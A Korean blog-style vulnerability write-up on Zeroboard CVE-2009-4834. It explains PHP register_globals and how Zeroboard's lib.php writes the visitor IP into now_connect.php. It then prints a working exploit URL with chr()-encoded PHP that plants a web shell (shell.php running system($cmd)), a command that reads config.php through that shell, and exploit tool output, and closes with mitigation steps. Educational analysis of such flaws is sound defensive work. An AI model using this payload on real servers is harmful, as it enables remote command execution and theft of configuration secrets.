다시 보는 제로보드 취약점 2편: CVE-2009-4834
이 익스플로잇과 관련된 취약점을 알기 위해 register_globals란 옵션의 기능과 lib.php 파일에서 세션을 저장하고 있는 과정을 설명합니다.
register_globals 옵션
php.ini파일에 있는 옵션 중 하나입니다. 이 옵션은 환경변수, GET, POST, 쿠키, HTTP서버 변수값 등을 자동으로 PHP의 전역변수로 만들어줍니다. 전역변수는 외부에서도 값을 조작할 수 있기 때문에 보안상의 문제로 이 옵션은 보통 Off로 되어 있습니다.
<?php
print $test;
?>
옵션이 On인 상태에서, 매개변수 test의 값을 주고 PHP코드를 실행하면 test값이 출력되지만 Off인 상태에서는 출력되지 않는 것을 볼 수 있습니다.
PHP 세션 저장
PHP는 세션등록을 session_reigster() 함수를 사용합니다. 세션을 등록하는 방법은 다음과 같습니다.
session_start();
session_register("name");
session_register("id");
$name="ryusei";
$id="ryusei";
또는
session_register("name", "ryusei"); 와 같이 등록합니다.
사용자의 데이터를 php.ini파일에서 지정한 디렉토리에 파일로 저장하는 기본적인 방식에 의해, 제로보드에서는data/__zbSessionTMP 디렉토리를 새로 만들고 이 폴더 안에 'sess_사용자식별자'의 이름으로 파일을 저장하고 있습니다. 예를 들어 사용자의 시스템에 저장한 식별키가 '1234'이라면 __zbSessionTMP폴더안에 'sess_1234'라는 파일이 생성되고 이 파일의 내용은 사용자데이터가 됩니다.
이 세션파일은 lib.php에서 조작합니다. 세션파일에는 웹서버에 접속한 원격 사용자의 세션ID, 원격IP주소, 접속시간 등을 등록하는데, 원격IP주소에는 '방문자의 IP주소'를 담고있는 REMOTE_ADDR라는 PHP 환경변수 값을 할당하고 있습니다.
테스트파일을 하나 만들어서 다음을 실행해 보면, 해당 페이지를 요구한 클라이언트의 IP주소를 보여줍니다.
<?php
print getenv('REMOTE_ADDR');
?>
'192.168.245.1'에서 접속을 했다면 192.168.245.1 값이 출력됩니다. 즉, lib.php 파일에서 세션에 등록되는 IP주소값은 위에서 출력되는 IP주소가 됩니다.
now_connect.php 파일
lib.php파일에서 now_connect.php파일을 읽고 웹서버에 접속한 모든 클라이언트들의 접속시간과 IP주소를 씁니다. <?/*201101201205192.168.245.1*/?>와 같은 형식으로 입력되어 있다면 192.168.245.1의 IP주소를 가진 클라이언트가 '2011.01.20 12:05'시간에 접속하였다는 것을 의미합니다.
취약점
게시판을 만들면 data폴더에 __zbSessionTMP 폴더와 now_connect.php, now_member_connect.php 파일이 생성됩니다. 익스플로잇은 실제로 아래와 같이 동작합니다.
URL을 다음과 같이 입력합니다.
http://192.168.245.128/zb7/bbs/lib.php?
REMOTE_ADDR=*/fputs(fopen(chr(46).chr(47).chr(115).chr(104).chr(101).chr(108).chr(108).chr(46).chr(112).chr(104).chr(112),chr(119).
chr(43)),chr(60).chr(63).chr(32).chr(115).chr(121).chr(115).chr(116).chr(101).chr(109).chr(40).chr(36).chr(99).chr(109).
chr(100).chr(41).chr(59).chr(32).chr(63).chr(62));/*&HTTP_SESSION_VARS[zb_last_connect_check]=a&
HTTP_SERVER_VARS=1&HTTP_ENV_VARS=1

이 URL은 lib.php파일을 실행시키면서 이 파일의 매개변수 REMOTE_ADDR에 새로운 값을 할당해주고 있습니다. 할당해주고 있는 값은 아스키코드로, */fputs( fopen(./shell.php, w+), <?system($cmd)?> ); /* 로 해석됩니다.
그러면 lib.php파일에서 now_connect.php파일에 쓰는 IP주소는 IP주소가 아닌 실행되길 기대하는 'PHP코드' 입니다. 공격자는 PHP코드가 쓰인 이 파일을 실행해서 data디렉토리에 <?system($cmd)?>의 코드가 삽입된 shell.php파일을 만듭니다.

여기서 문제는 php.ini파일의 register_globals 옵션이 켜져(On)있다면, http://192.168.245.128/zb7/bbs/data/shell.php?cmd=cat ../config.php 을 입력했을 때 cmd변수를 전역변수로 만들기 때문에 system()함수에 명령을 전달하면서 config.php파일내용을 볼 수 있습니다.
익스플로잇의 동작
php.ini파일에서 register_globals옵션을 켜고 익스플로잇을 실행합니다. 익스플로잇은 아래와 같은 출력을 내면서 웹쉘을 업로드 합니다.
./a.out http://192.168.245.128/zb7/bbs/zboard.php?id=test
-Target : http://192.168.245.128/zb7/bbs/zboard.php?id=test
[+] Exploiting zeroboard start - [+] Exploiting success!!
[*] Create Backdoor Start - [+] Create Backdoor success!!
[*] Confirmming your backdoor php script - http://192.168.245.128/zb7/bbs/data/shell.php is success!!
- http://192.168.245.128/zb7/bbs/data/shell.php?cmd=ls [+] Execute the webshell script
웹쉘 실행 화면

대응
register_globals 옵션을 Off로 해두는 것이 가장 안전한 대응방법이지만, 제로보드와의 호환성을 고려하여 옵션을 켜야 하는 경우에는, now_connect..php를 실행하지 못하도록 파일 앞부분에 die();함수를 삽입합니다.
PCAP 덤프
레퍼런스





이미지 2, 3 올려주세요...
i_i) 그림 올리기 너무 힘들어요..